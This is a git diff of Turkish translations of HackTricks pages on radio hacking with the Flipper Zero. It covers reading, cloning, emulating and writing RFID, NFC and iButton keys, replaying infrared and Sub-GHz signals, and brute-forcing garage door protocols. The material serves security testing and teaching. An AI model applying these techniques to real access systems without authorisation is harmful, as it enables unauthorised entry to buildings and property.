@@ Bu tür etiketler hakkında daha fazla bilgi için [**bu girişi okuyun**](../pe ### Oku -Kart bilgilerini **okumaya** çalışır. Sonra bunları **taklit** edebilir. +Kart bilgisini **okumaya** çalışır. Sonra bunları **taklit** edebilir. > [!WARNING] -> Bazı interkomların, okumadan önce bir yazma komutu göndererek anahtar çoğaltımına karşı kendilerini korumaya çalıştığını unutmayın. Yazma başarılı olursa, o etiket sahte olarak kabul edilir. Flipper RFID'yi taklit ettiğinde, okuyucunun bunu orijinalinden ayırt etmesi için bir yolu yoktur, bu nedenle böyle bir sorun ortaya çıkmaz. +> Bazı interkomların, okuma işleminden önce bir yazma komutu göndererek anahtar kopyalamaya karşı kendilerini korumaya çalıştığını unutmayın. Yazma başarılı olursa, o etiket sahte olarak kabul edilir. Flipper RFID'yi taklit ettiğinde, okuyucunun bunu orijinalinden ayırt etmesi için bir yol yoktur, bu nedenle böyle bir sorun ortaya çıkmaz. ### Manuel Ekle @@ -27,7 +28,7 @@ Flipper Zero'da **verileri belirterek sahte kartlar oluşturabilirsiniz** ve ard #### Kartlardaki Kimlikler -Bazen, bir kart aldığınızda, kartta görünür şekilde yazılı olan kimliği (veya bir kısmını) bulacaksınız. +Bazen, bir kart aldığınızda, kartın görünür kısmında ID'sini (veya bir kısmını) bulabilirsiniz. - **EM Marin** @@ -44,10 +45,11 @@ Bu HID kartında da aynı durum geçerlidir; burada yalnızca 3 bayttan 2'si kar ### Taklit/Yaz -Bir kartı **kopyaladıktan** veya kimliği **manuel olarak** **girdikten** sonra, Flipper Zero ile bunu **taklit** etmek veya gerçek bir karta **yazmak** mümkündür. +Bir kartı **kopyaladıktan** veya ID'yi **manuel olarak** girdikten sonra, Flipper Zero ile bunu **taklit** etmek veya gerçek bir karta **yazmak** mümkündür. ## Referanslar - [https://blog.flipperzero.one/rfid/](https://blog.flipperzero.one/rfid/) + {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/todo/radio-hacking/flipper-zero/fz-ibutton.md b/src/todo/radio-hacking/flipper-zero/fz-ibutton.md index 253312fec..b2622d042 100644 --- a/src/todo/radio-hacking/flipper-zero/fz-ibutton.md +++ b/src/todo/radio-hacking/flipper-zero/fz-ibutton.md @@ -2,7 +2,7 @@ {{#include ../../../banners/hacktricks-training.md}} -## Giriş +## Intro iButton nedir hakkında daha fazla bilgi için kontrol edin: @@ -10,23 +10,23 @@ iButton nedir hakkında daha fazla bilgi için kontrol edin: ../ibutton.md {{#endref}} -## Tasarım +## Design -Aşağıdaki resmin **mavi** kısmı, Flipper'ın **okuyabilmesi için gerçek iButton'ı** nasıl **yerleştirmeniz gerektiğini** gösterir. **Yeşil** kısım ise Flipper Zero ile okuyucuya **doğru bir şekilde iButton'ı taklit etmek için** nasıl **dokunmanız gerektiğini** gösterir. +Aşağıdaki resmin **mavi** kısmı, Flipper'ın **okuyabilmesi için gerçek iButton'ı** nasıl **yerleştirmeniz gerektiğini** gösterir. **Yeşil** kısım ise Flipper Zero'nun **iButton'ı doğru bir şekilde taklit etmek için okuyucuya nasıl** **dokunması gerektiğini** gösterir.
-## Eylemler +## Actions -### Oku +### Read -Okuma Modunda Flipper, iButton anahtarının dokunmasını bekliyor ve üç tür anahtardan herhangi birini sindirebiliyor: **Dallas, Cyfral ve Metakom**. Flipper, anahtarın türünü **kendisi belirleyecektir**. Anahtar protokolünün adı, ID numarasının üzerinde ekranda görüntülenecektir. +Okuma Modunda Flipper, iButton anahtarının dokunmasını bekliyor ve üç tür anahtarı sindirebiliyor: **Dallas, Cyfral ve Metakom**. Flipper, anahtarın türünü **kendisi belirleyecektir**. Anahtar protokolünün adı, ID numarasının üzerinde ekranda görüntülenecektir. -### Manuel ekle +### Add manually -**Dallas, Cyfral ve Metakom** türünde bir iButton'ı **manuel olarak eklemek** mümkündür. +**Manuel olarak** aşağıdaki türde bir iButton eklemek mümkündür: **Dallas, Cyfral ve Metakom** -### **Taklit et** +### **Emulate** Kaydedilmiş iButton'ları (okunan veya manuel olarak eklenen) **taklit etmek** mümkündür. @@ -35,7 +35,7 @@ Kaydedilmiş iButton'ları (okunan veya manuel olarak eklenen) **taklit etmek**
-## Referanslar +## References - [https://blog.flipperzero.one/taming-ibutton/](https://blog.flipperzero.one/taming-ibutton/) diff --git a/src/todo/radio-hacking/flipper-zero/fz-infrared.md b/src/todo/radio-hacking/flipper-zero/fz-infrared.md index 1899b004e..947e69f63 100644 --- a/src/todo/radio-hacking/flipper-zero/fz-infrared.md +++ b/src/todo/radio-hacking/flipper-zero/fz-infrared.md @@ -28,10 +28,10 @@ Evrensel Uzaktan Kumanda modunda güç düğmesine basmak yeterlidir ve Flipper, Bu tür bir brute-force zaman alır. Sözlük ne kadar büyükse, tamamlanması o kadar uzun sürer. TV'nin tam olarak hangi sinyali tanıdığını bulmak imkansızdır çünkü TV'den geri bildirim yoktur. -### Yeni Uzaktan Kumanda Öğrenme +### Yeni Uzaktan Kumanda Öğren Flipper Zero ile **kızılötesi bir sinyali yakalamak** mümkündür. Eğer **veritabanında sinyali bulursa**, Flipper otomatik olarak **bu cihazın ne olduğunu bilecektir** ve sizin onunla etkileşimde bulunmanıza izin verecektir.\ -Eğer bulamazsa, Flipper **sinyali saklayabilir** ve **tekrar oynatmanıza** izin verecektir. +Eğer bulamazsa, Flipper **sinyali saklayabilir** ve **tekrar oynatmanıza** izin verebilir. ## Referanslar diff --git a/src/todo/radio-hacking/flipper-zero/fz-nfc.md b/src/todo/radio-hacking/flipper-zero/fz-nfc.md index e6d7ddee0..c47e56330 100644 --- a/src/todo/radio-hacking/flipper-zero/fz-nfc.md +++ b/src/todo/radio-hacking/flipper-zero/fz-nfc.md @@ -34,7 +34,7 @@ Banka kartı okuma ekranıBanka kartları için Flipper Zero yalnızca verileri #### Bilinmeyen kartlar -Flipper Zero **NFC kartının türünü belirleyemediğinde**, yalnızca **UID, SAK ve ATQA** okunabilir ve **kaydedilebilir**. +Flipper Zero **NFC kartının türünü belirleyemediğinde**, yalnızca **UID, SAK ve ATQA** **okunup kaydedilebilir**. Bilinmeyen kart okuma ekranıBilinmeyen NFC kartları için Flipper Zero yalnızca bir UID'yi taklit edebilir. @@ -42,7 +42,7 @@ Bilinmeyen kart okuma ekranıBilinmeyen NFC kartları için Flipper Zero yalnız ### NFC kart türleri B, F ve V -**NFC kart türleri B, F ve V** için Flipper Zero yalnızca **UID'yi okuyup görüntüleyebilir** ve kaydedemez. +**NFC kart türleri B, F ve V** için Flipper Zero yalnızca **bir UID'yi okuyup görüntüleyebilir** kaydetmeden.
@@ -52,7 +52,7 @@ NFC hakkında bir giriş için [**bu sayfayı okuyun**](../pentesting-rfid.md#hi ### Oku -Flipper Zero **NFC kartlarını okuyabilir**, ancak **ISO 14443'e dayanan tüm protokolleri anlamaz**. Ancak, **UID düşük seviyeli bir özellik olduğundan**, **UID zaten okunmuşken, yüksek seviyeli veri transfer protokolü hala bilinmiyor** durumunda kalabilirsiniz. UID'yi, yetkilendirme için UID kullanan ilkel okuyucular için Flipper ile okuyabilir, taklit edebilir ve manuel olarak girebilirsiniz. +Flipper Zero **NFC kartlarını okuyabilir**, ancak **ISO 14443'e dayanan tüm protokolleri anlamaz**. Ancak, **UID düşük seviyeli bir nitelik olduğundan**, **UID zaten okunmuşken, yüksek seviyeli veri aktarım protokolü hala bilinmiyor** durumunda kalabilirsiniz. UID'yi, yetkilendirme için UID kullanan ilkel okuyucular için Flipper ile okuyabilir, taklit edebilir ve manuel olarak girebilirsiniz. #### UID Okuma VS İçerideki Veriyi Okuma @@ -61,11 +61,11 @@ Flipper Zero **NFC kartlarını okuyabilir**, ancak **ISO 14443'e dayanan tüm p Flipper'da 13.56 MHz etiketlerini okumak iki parçaya ayrılabilir: - **Düşük seviyeli okuma** — yalnızca UID, SAK ve ATQA'yı okur. Flipper, karttan okunan bu veriye dayanarak yüksek seviyeli protokolü tahmin etmeye çalışır. Bununla %100 emin olamazsınız, çünkü bu belirli faktörlere dayanan bir varsayımdır. -- **Yüksek seviyeli okuma** — kartın belleğinden belirli bir yüksek seviyeli protokol kullanarak verileri okur. Bu, bir Mifare Ultralight üzerindeki verileri okumak, bir Mifare Classic'ten sektörleri okumak veya PayPass/Apple Pay'den kartın özelliklerini okumak anlamına gelir. +- **Yüksek seviyeli okuma** — kartın belleğinden belirli bir yüksek seviyeli protokol kullanarak verileri okur. Bu, bir Mifare Ultralight üzerindeki verileri okumak, bir Mifare Classic'ten sektörleri okumak veya PayPass/Apple Pay'den kartın niteliklerini okumak anlamına gelir. ### Belirli Okuma -Flipper Zero, düşük seviyeli verilerden kart türünü bulamıyorsa, `Ekstra Eylemler` bölümünde `Belirli Kart Türünü Oku` seçeneğini seçebilir ve **manuel olarak** **okumak istediğiniz kart türünü belirtebilirsiniz**. +Flipper Zero, düşük seviyeli verilerden kart türünü bulamıyorsa, `Ekstra Eylemler` bölümünde `Belirli Kart Türünü Oku` seçeneğini seçebilir ve **manuel olarak okumak istediğiniz kart türünü belirtebilirsiniz**. #### EMV Banka Kartları (PayPass, payWave, Apple Pay, Google Pay) diff --git a/src/todo/radio-hacking/flipper-zero/fz-sub-ghz.md b/src/todo/radio-hacking/flipper-zero/fz-sub-ghz.md index 74597522f..df2129e71 100644 --- a/src/todo/radio-hacking/flipper-zero/fz-sub-ghz.md +++ b/src/todo/radio-hacking/flipper-zero/fz-sub-ghz.md @@ -42,7 +42,7 @@ Bu anda **4 modülasyon** (AM270, AM650, FM328 ve FM476) ve **birçok ilgili fre
-**İlginizi çeken herhangi birini** ayarlayabilirsiniz, ancak eğer **hangi frekansın** uzaktan kumandanız tarafından kullanıldığından emin değilseniz, **Hopping'i AÇIK** (varsayılan olarak Kapalı) ayarlayın ve Flipper bunu yakalayana kadar düğmeye birkaç kez basın, böylece frekansı ayarlamak için gereken bilgiyi alırsınız. +**İlginizi çeken herhangi birini** ayarlayabilirsiniz, ancak eğer **hangi frekansın** uzaktan kumandanız tarafından kullanıldığından **emin değilseniz**, **Hopping'i AÇIK** (varsayılan olarak Kapalı) olarak ayarlayın ve Flipper bunu yakalayana kadar düğmeye birkaç kez basın, böylece frekansı ayarlamak için gereken bilgiyi alırsınız. > [!CAUTION] > Frekanslar arasında geçiş yapmak biraz zaman alır, bu nedenle geçiş sırasında iletilen sinyaller kaçırılabilir. Daha iyi sinyal alımı için, Frekans Analizörü tarafından belirlenen sabit bir frekans ayarlayın. @@ -54,7 +54,7 @@ Bu anda **4 modülasyon** (AM270, AM650, FM328 ve FM476) ve **birçok ilgili fre **Ham Oku** seçeneği, dinleme frekansında gönderilen sinyalleri **kaydeder**. Bu, bir sinyali **çalmak** ve **tekrar etmek** için kullanılabilir. -Varsayılan olarak **Ham Oku da 433.92 AM650**'dedir, ancak Okuma seçeneği ile ilginizi çeken sinyalin **farklı bir frekans/modülasyonda olduğunu bulursanız, bunu da değiştirebilirsiniz** (Ham Oku seçeneği içindeyken sola basarak). +Varsayılan olarak **Ham Oku da 433.92 AM650**'de bulunmaktadır, ancak Okuma seçeneği ile ilginizi çeken sinyalin **farklı bir frekans/modülasyonda olduğunu bulursanız, bunu da değiştirebilirsiniz** sol düğmeye basarak (Ham Oku seçeneği içindeyken). ### Kaba Kuvvet @@ -69,20 +69,20 @@ Eğer garaj kapısı tarafından kullanılan protokolü biliyorsanız, **tüm ko | Princeton_433 (statik kod sistemlerinin çoğuyla çalışır) | 433.92 | Statik | | -------------------------------------------------------- | ------ | ------- | -| Nice Flo 12bit_433 | 433.92 | Statik | -| Nice Flo 24bit_433 | 433.92 | Statik | -| CAME 12bit_433 | 433.92 | Statik | -| CAME 24bit_433 | 433.92 | Statik | -| Linear_300 | 300.00 | Statik | -| CAME TWEE | 433.92 | Statik | -| Gate TX_433 | 433.92 | Statik | -| DoorHan_315 | 315.00 | Dinamik | -| DoorHan_433 | 433.92 | Dinamik | -| LiftMaster_315 | 315.00 | Dinamik | -| LiftMaster_390 | 390.00 | Dinamik | -| Security+2.0_310 | 310.00 | Dinamik | -| Security+2.0_315 | 315.00 | Dinamik | -| Security+2.0_390 | 390.00 | Dinamik | +| Nice Flo 12bit_433 | 433.92 | Statik | +| Nice Flo 24bit_433 | 433.92 | Statik | +| CAME 12bit_433 | 433.92 | Statik | +| CAME 24bit_433 | 433.92 | Statik | +| Linear_300 | 300.00 | Statik | +| CAME TWEE | 433.92 | Statik | +| Gate TX_433 | 433.92 | Statik | +| DoorHan_315 | 315.00 | Dinamik | +| DoorHan_433 | 433.92 | Dinamik | +| LiftMaster_315 | 315.00 | Dinamik | +| LiftMaster_390 | 390.00 | Dinamik | +| Security+2.0_310 | 310.00 | Dinamik | +| Security+2.0_315 | 315.00 | Dinamik | +| Security+2.0_390 | 390.00 | Dinamik | ### Desteklenen Sub-GHz satıcıları @@ -95,7 +95,7 @@ Eğer garaj kapısı tarafından kullanılan protokolü biliyorsanız, **tüm ko ### Test > [!NOTE] -> Kaydedilen frekansların dBms'ini alın +> Kaydedilen frekansların dBm'lerini alın ## Referans diff --git a/src/todo/radio-hacking/ibutton.md b/src/todo/radio-hacking/ibutton.md index e0c27cdac..1e2dceec4 100644 --- a/src/todo/radio-hacking/ibutton.md +++ b/src/todo/radio-hacking/ibutton.md @@ -14,17 +14,17 @@ Genellikle, iButton anahtarın ve okuyucunun fiziksel formunu ifade eder - iki t
-Anahtar okuyucuya ulaştığında, **temas noktaları birbirine değiyor** ve anahtar kimliğini **iletmek** için güç alıyor. Bazen anahtar **hemen okunmaz** çünkü bir interkomun **temas PSD'si olması gerekenden daha büyüktür**. Bu durumda, anahtarın dış konturları ve okuyucu birbirine değemez. Eğer durum buysa, anahtarı okuyucunun duvarlarından birinin üzerine basmanız gerekecek. +Anahtar okuyucuya ulaştığında, **temas noktaları birbirine değiyor** ve anahtar **kimliğini iletmek** için güç alıyor. Bazen anahtar **hemen okunmaz** çünkü bir interkomun **temas PSD'si olması gerekenden daha büyüktür**. Bu durumda, anahtarın dış konturları okuyucu ile temas edemez. Eğer durum buysa, anahtarı okuyucunun duvarlarından birinin üzerine basmanız gerekecek.
### **1-Wire protokolü** -Dallas anahtarları, 1-wire protokolünü kullanarak veri alışverişi yapar. Veri transferi için yalnızca bir temas noktası (!!) ile her iki yönde, anahtardan köleye ve tersine. 1-wire protokolü, Master-Slave modeline göre çalışır. Bu topolojide, Master her zaman iletişimi başlatır ve Slave onun talimatlarını takip eder. +Dallas anahtarları, 1-wire protokolünü kullanarak veri alışverişi yapar. Veri transferi için sadece bir temas noktası (!!) ile her iki yönde, ana cihazdan köle cihaza ve tersine. 1-wire protokolü, Master-Slave modeline göre çalışır. Bu topolojide, Master her zaman iletişimi başlatır ve Slave onun talimatlarını takip eder. -Anahtar (Slave) interkomla (Master) temas ettiğinde, anahtarın içindeki çip açılır, interkom tarafından güçlendirilir ve anahtar başlatılır. Ardından interkom anahtar kimliğini talep eder. Şimdi bu süreci daha ayrıntılı inceleyeceğiz. +Anahtar (Slave) interkom (Master) ile temas ettiğinde, anahtarın içindeki çip açılır, interkom tarafından güçlendirilir ve anahtar başlatılır. Ardından interkom anahtar kimliğini talep eder. Şimdi bu süreci daha ayrıntılı inceleyeceğiz. -Flipper, hem Master hem de Slave modlarında çalışabilir. Anahtar okuma modunda, Flipper bir okuyucu olarak hareket eder, yani Master olarak çalışır. Anahtar taklit modunda ise, Flipper bir anahtar gibi davranır, Slave modundadır. +Flipper hem Master hem de Slave modlarında çalışabilir. Anahtar okuma modunda, Flipper bir okuyucu olarak hareket eder, yani Master olarak çalışır. Anahtar taklit modunda ise, Flipper bir anahtar gibi davranır, Slave modundadır. ### Dallas, Cyfral & Metakom anahtarları diff --git a/src/todo/radio-hacking/infrared.md b/src/todo/radio-hacking/infrared.md index 19c4e6a15..a4f7ebf2e 100644 --- a/src/todo/radio-hacking/infrared.md +++ b/src/todo/radio-hacking/infrared.md @@ -6,7 +6,7 @@ **Kızılötesi ışık insanlar için görünmezdir**. IR dalga boyu **0.7 ile 1000 mikron** arasındadır. Ev aletleri uzaktan kumandaları, veri iletimi için IR sinyali kullanır ve 0.75..1.4 mikron dalga boyu aralığında çalışır. Uzaktan kumandadaki bir mikrodenetleyici, dijital sinyali IR sinyaline dönüştürerek belirli bir frekansta bir kızılötesi LED'in yanıp sönmesini sağlar. -IR sinyallerini almak için bir **fotoreceiver** kullanılır. Bu, **IR ışığını voltaj darbelerine dönüştürür**, bu da zaten **dijital sinyallerdir**. Genellikle, alıcının içinde **karanlık ışık filtresi** bulunur, bu da **yalnızca istenen dalga boyunun geçmesine izin verir** ve gürültüyü keser. +IR sinyallerini almak için bir **fotoreceiver** kullanılır. Bu, **IR ışığını voltaj darbelerine dönüştürür**, bu da zaten **dijital sinyallerdir**. Genellikle, alıcının içinde **karanlık ışık filtresi** bulunur; bu, **yalnızca istenen dalga boyunun geçmesine izin verir** ve gürültüyü keser. ### IR Protokollerinin Çeşitliliği @@ -16,7 +16,7 @@ IR protokolleri 3 faktörde farklılık gösterir: - veri yapısı - taşıyıcı frekansı — genellikle 36..38 kHz aralığında -#### Bit kodlama yöntemleri +#### Bit Kodlama Yöntemleri **1. Darbe Mesafe Kodlaması** @@ -43,7 +43,7 @@ Aynı zamanda Manchester kodlaması olarak da bilinir. Mantıksal değer, darbe > > Üreticiler, aynı cihaz aralığında bile kendi benzersiz IR protokollerini kullanmayı severler (örneğin, TV kutuları). Bu nedenle, farklı şirketlerden ve bazen aynı şirketin farklı modellerinden gelen uzaktan kumandalar, aynı türdeki diğer cihazlarla çalışamaz. -### Bir IR sinyalini keşfetmek +### Bir IR Sinyalini Keşfetmek Uzaktan kumanda IR sinyalinin nasıl göründüğünü görmek için en güvenilir yol bir osiloskop kullanmaktır. Bu, alınan sinyali demodüle etmez veya tersine çevirmeden "olduğu gibi" gösterir. Bu, test ve hata ayıklama için faydalıdır. NEC IR protokolü örneğinde beklenen sinyali göstereceğim. @@ -59,16 +59,16 @@ NEC **komutu**, önsözün yanı sıra, cihazın ne yapılması gerektiğini anl **Tekrar kodu**, önsözden sonra bir "1" içerir, bu bir durdurma bitidir. -**Mantık "0" ve "1" için** NEC, Darbe Mesafe Kodlaması kullanır: önce bir darbe patlaması iletilir, ardından bir duraklama gelir, duraklamanın uzunluğu bitin değerini belirler. +**Mantık "0" ve "1"** için NEC, Darbe Mesafe Kodlaması kullanır: önce bir darbe patlaması iletilir, ardından bir duraklama gelir, duraklamanın uzunluğu bitin değerini belirler. -### Klima +### Klima Cihazları -Diğer uzaktan kumandalardan farklı olarak, **klimalar yalnızca basılan butonun kodunu iletmez**. Ayrıca, **butona basıldığında tüm bilgileri iletir** ve **klima makinesi ile uzaktan kumandanın senkronize olmasını sağlar**.\ -Bu, 20ºC olarak ayarlanmış bir makinenin bir uzaktan kumanda ile 21ºC'ye çıkarılmasını ve ardından hala 20ºC olarak ayarlanmış başka bir uzaktan kumanda ile sıcaklığın daha da artırılmasını önler; bu durumda, sıcaklık 21ºC'ye "arttırılır" (ve 21ºC'de olduğunu düşünerek 22ºC'ye değil). +Diğer uzaktan kumandalardan farklı olarak, **klima cihazları yalnızca basılan butonun kodunu iletmez**. Ayrıca, **butona basıldığında tüm bilgileri iletir** ve böylece **klima makinesi ve uzaktan kumanda senkronize olur**.\ +Bu, 20ºC olarak ayarlanmış bir makinenin bir uzaktan kumanda ile 21ºC'ye çıkarılmasını ve ardından hala 20ºC olarak ayarlanmış başka bir uzaktan kumanda ile sıcaklığın daha da artırılmaya çalışıldığında, "21ºC"ye (ve 21ºC'de olduğunu düşünerek 22ºC'ye değil) "arttırılmasını" önler. ### Saldırılar -Kızılötesiye Flipper Zero ile saldırabilirsiniz: +Flipper Zero ile Kızılötesi'ye saldırabilirsiniz: {{#ref}} flipper-zero/fz-infrared.md diff --git a/src/todo/radio-hacking/pentesting-ble-bluetooth-low-energy.md b/src/todo/radio-hacking/pentesting-ble-bluetooth-low-energy.md index c23be49bb..0131a052f 100644 --- a/src/todo/radio-hacking/pentesting-ble-bluetooth-low-energy.md +++ b/src/todo/radio-hacking/pentesting-ble-bluetooth-low-energy.md @@ -12,11 +12,11 @@ Dinleme cihazı, merkezi cihaz olarak da adlandırılır, bir reklam paketine ** ![](<../../images/image (152).png>) -Preamble byte, frekansı senkronize ederken, dört baytlık erişim adresi bir **bağlantı tanımlayıcısıdır** ve birden fazla cihazın aynı kanallarda bağlantı kurmaya çalıştığı senaryolarda kullanılır. Sonraki, Protokol Veri Birimi (**PDU**) **reklam verilerini** içerir. Birkaç PDU türü vardır; en yaygın olarak kullanılanlar ADV_NONCONN_IND ve ADV_IND'dir. Cihazlar, **bağlantıları kabul etmiyorlarsa** **ADV_NONCONN_IND** PDU türünü kullanır ve yalnızca reklam paketinde veri iletir. Cihazlar, **bağlantılara izin veriyorlarsa** **ADV_IND** kullanır ve bir **bağlantı** **kurulduğunda** reklam paketleri göndermeyi durdurur. +Preamble byte, frekansı senkronize ederken, dört baytlık erişim adresi bir **bağlantı tanımlayıcısıdır** ve birden fazla cihazın aynı kanallarda bağlantı kurmaya çalıştığı senaryolarda kullanılır. Sonraki, Protokol Veri Birimi (**PDU**), **reklam verilerini** içerir. Birkaç PDU türü vardır; en yaygın olarak kullanılanlar ADV_NONCONN_IND ve ADV_IND'dir. Cihazlar, **bağlantıları kabul etmiyorlarsa** **ADV_NONCONN_IND** PDU türünü kullanır ve yalnızca reklam paketinde veri iletir. Cihazlar, **bağlantılara izin veriyorlarsa** **ADV_IND** kullanır ve bir **bağlantı** **kurulduğunda** reklam paketleri göndermeyi durdurur. ### GATT -**Generic Attribute Profile** (GATT), **cihazın verileri nasıl biçimlendireceğini ve ileteceğini** tanımlar. Bir BLE cihazının saldırı yüzeyini analiz ederken, genellikle dikkatinizi GATT (veya GATT'ler) üzerinde yoğunlaştırırsınız, çünkü bu, **cihaz işlevselliğinin nasıl tetiklendiği** ve verilerin nasıl depolandığı, gruplandığı ve değiştirildiğidir. GATT, bir cihazın özelliklerini, tanımlayıcılarını ve hizmetlerini 16 veya 32 bit değerler olarak bir tabloda listeler. Bir **özellik**, merkezi cihaz ile çevresel cihaz arasında **gönderilen** bir **veri** değeridir. Bu özellikler, onlara **ek bilgi sağlayan** **tanımlayıcılar** içerebilir. **Özellikler**, belirli bir eylemi gerçekleştirmekle ilgili olduklarında genellikle **hizmetlerde** **gruplandırılır**. +**Generic Attribute Profile** (GATT), **cihazın verileri nasıl biçimlendireceğini ve ileteceğini** tanımlar. Bir BLE cihazının saldırı yüzeyini analiz ederken, genellikle dikkatinizi GATT (veya GATT'ler) üzerinde yoğunlaştırırsınız, çünkü bu, **cihaz işlevselliğinin nasıl tetiklendiği** ve verilerin nasıl depolandığı, gruplandığı ve değiştirildiğidir. GATT, bir cihazın özelliklerini, tanımlayıcılarını ve hizmetlerini 16 veya 32 bit değerler olarak bir tabloda listeler. Bir **özellik**, merkezi cihaz ile çevresel cihaz arasında **gönderilen** bir **veri** değeridir. Bu özellikler, onlarla ilgili **ek bilgiler sağlayan** **tanımlayıcılar** içerebilir. **Özellikler**, belirli bir eylemi gerçekleştirmekle ilgili olduklarında genellikle **hizmetlerde** **gruplandırılır**. ## Sayım ```bash diff --git a/src/todo/radio-hacking/pentesting-rfid.md b/src/todo/radio-hacking/pentesting-rfid.md index 6df454986..700966269 100644 --- a/src/todo/radio-hacking/pentesting-rfid.md +++ b/src/todo/radio-hacking/pentesting-rfid.md @@ -21,9 +21,9 @@ EPCglobal, RFID etiketlerini altı kategoriye ayırır. Her kategorideki bir eti ### Information Stored in RFID Tags -Bir RFID etiketinin belleği genellikle dört tür veri depolar: **tanımlama verisi**, etiketin bağlı olduğu **varlığı** **tanımlayan** (bu veri, kullanıcı tanımlı alanlar, örneğin banka hesapları içerir); **tamamlayıcı veri**, varlıkla ilgili **daha fazla** **detay** sağlayan; etiketin **iç yapılandırması** için kullanılan **kontrol verisi**; ve etiketin **üretici verisi**, bir etiketin Benzersiz Tanımlayıcısını (**UID**) ve etiketin **üretimi**, **tipi** ve **satıcısı** ile ilgili detayları içerir. İlk iki veri türünü tüm ticari etiketlerde bulacaksınız; son iki veri, etiketin satıcısına bağlı olarak farklılık gösterebilir. +Bir RFID etiketinin belleği genellikle dört tür veri depolar: **tanımlama verisi**, etiketin bağlı olduğu **varlığı** **tanımlayan** (bu veri, kullanıcı tanımlı alanlar, örneğin banka hesapları içerir); **tamamlayıcı veri**, varlıkla ilgili **daha fazla** **detay** sağlayan; etiketin **iç yapılandırması** için kullanılan **kontrol verisi**; ve etiketin **üretici verisi**, etiketin Benzersiz Tanımlayıcısını (**UID**) ve etiketin **üretimi**, **tipi** ve **satıcısı** ile ilgili detayları içerir. İlk iki veri türünü tüm ticari etiketlerde bulacaksınız; son iki veri, etiketin satıcısına bağlı olarak farklılık gösterebilir. -ISO standardı, etiketin ait olduğu **nesne türünü** belirten bir kod olan Uygulama Aile Tanımlayıcısı (**AFI**) değerini belirtir. ISO tarafından belirtilen bir diğer önemli kayıt ise, kullanıcı verilerinin **mantıksal organizasyonunu** tanımlayan Veri Depolama Formatı Tanımlayıcısı (**DSFID**)dır. +ISO standardı, etiketin ait olduğu **nesne türünü** belirten bir kod olan Uygulama Aile Tanımlayıcısı (**AFI**) değerini belirtir. ISO tarafından belirtilen bir diğer önemli kayıt, Kullanıcı Verilerinin **mantıksal organizasyonunu** tanımlayan Veri Depolama Formatı Tanımlayıcısı (**DSFID**)dır. Çoğu RFID **güvenlik kontrolü**, her kullanıcı bellek bloğunda ve AFI ve DSFID değerlerini içeren özel kayıtlarda **okuma** veya **yazma** işlemlerini **kısıtlayan** mekanizmalara sahiptir. Bu **kilit** **mekanizmaları**, kontrol belleğinde depolanan verileri kullanır ve satıcı tarafından önceden yapılandırılmış **varsayılan şifreler** içerir, ancak etiket sahiplerinin **özel şifreler yapılandırmasına** izin verir. @@ -38,7 +38,7 @@ ISO standardı, etiketin ait olduğu **nesne türünü** belirten bir kod olan U Bu cihazlar, **pasif** **RFID** teknolojisine dayanır ve **30 kHz ile 300 kHz** aralığında çalışır, ancak genellikle 125 kHz ile 134 kHz kullanılır: - **Uzun Menzil** — daha düşük frekans, daha yüksek menzil anlamına gelir. Bir metreye kadar mesafeden çalışan bazı EM-Marin ve HID okuyucular vardır. Bunlar genellikle otoparklarda kullanılır. -- **İlkel protokol** — düşük veri transfer hızı nedeniyle bu etiketler yalnızca kısa kimliklerini iletebilir. Çoğu durumda, veriler kimlik doğrulaması yapılmadan ve herhangi bir şekilde korunmadan iletilir. Kart okuyucunun menzilindeyken, sadece kimliğini iletmeye başlar. +- **İlkel protokol** — düşük veri transfer hızı nedeniyle bu etiketler yalnızca kısa kimliklerini iletebilir. Çoğu durumda, veriler kimlik doğrulaması yapılmadan ve herhangi bir koruma olmadan iletilir. Kart okuyucunun menzilindeyken, sadece kimliğini iletmeye başlar. - **Düşük güvenlik** — Bu kartlar kolayca kopyalanabilir veya protokolün ilkel olması nedeniyle başkalarının cebinden bile okunabilir. **Popüler 125 kHz protokolleri:** @@ -51,7 +51,7 @@ Gerçekte, çok daha fazla düşük frekanslı protokol vardır. Ancak hepsi fiz ### Attack -Bu Etiketlere **Flipper Zero ile saldırabilirsiniz**: +You can **attack these Tags with the Flipper Zero**: {{#ref}} flipper-zero/fz-125khz-rfid.md @@ -72,21 +72,21 @@ Flipper, hem düşük seviyeli ISO 14443 protokolü ile hem de Mifare Ultralight ISO 14443-A standardına dayanan tüm yüksek frekanslı kartlar, benzersiz bir çip kimliğine sahiptir. Bu, kartın seri numarası gibi işlev görür, bir ağ kartının MAC adresi gibidir. **Genellikle, UID 4 veya 7 bayt uzunluğundadır**, ancak nadiren **10'a kadar** çıkabilir. UID'ler gizli değildir ve kolayca okunabilir, **bazen hatta kartın kendisinde basılıdır**. -UID'ye dayanan birçok erişim kontrol sistemi, **kimlik doğrulama ve erişim izni** vermek için kullanılır. Bazen bu, RFID etiketleri **kriptografi desteklese bile** gerçekleşir. Böyle bir **kötüye kullanım**, güvenlik açısından onları aptal **125 kHz kartları** seviyesine düşürür. Sanal kartlar (Apple Pay gibi), telefon sahiplerinin ödeme uygulamalarıyla kapıları açmamaları için dinamik bir UID kullanır. +UID'ye dayanan birçok erişim kontrol sistemi, **kimlik doğrulama ve erişim verme** için kullanılır. Bazen bu, RFID etiketleri **kriptografi desteklese bile** gerçekleşir. Böyle bir **kötüye kullanım**, güvenlik açısından onları aptal **125 kHz kartları** seviyesine düşürür. Sanal kartlar (Apple Pay gibi), telefon sahiplerinin ödeme uygulamalarıyla kapıları açmamaları için dinamik bir UID kullanır. - **Düşük menzil** — yüksek frekanslı kartlar, okuyucuya yakın yerleştirilmesi için özel olarak tasarlanmıştır. Bu, kartı yetkisiz etkileşimlerden korumaya da yardımcı olur. Elde ettiğimiz maksimum okuma menzili yaklaşık 15 cm'dir ve bu, özel yapılmış yüksek menzil okuyucularla olmuştur. -- **Gelişmiş protokoller** — veri transfer hızları 424 kbps'ye kadar çıkabilir, bu da tam teşekküllü iki yönlü veri transferine olanak tanır. Bu da **kriptografi**, veri transferi vb. sağlar. +- **Gelişmiş protokoller** — veri transfer hızları 424 kbps'ye kadar çıkabilir ve tam teşekküllü iki yönlü veri transferine olanak tanır. Bu da **kriptografi**, veri transferi vb. sağlar. - **Yüksek güvenlik** — yüksek frekanslı temassız kartlar, akıllı kartlarla kıyaslandığında hiçbir şekilde geri kalmaz. AES gibi kriptografik olarak güçlü algoritmaları destekleyen ve asimetrik kriptografi uygulayan kartlar vardır. ### Attack -Bu Etiketlere **Flipper Zero ile saldırabilirsiniz**: +You can **attack these Tags with the Flipper Zero**: {{#ref}} flipper-zero/fz-nfc.md {{#endref}} -Ya da **proxmark** 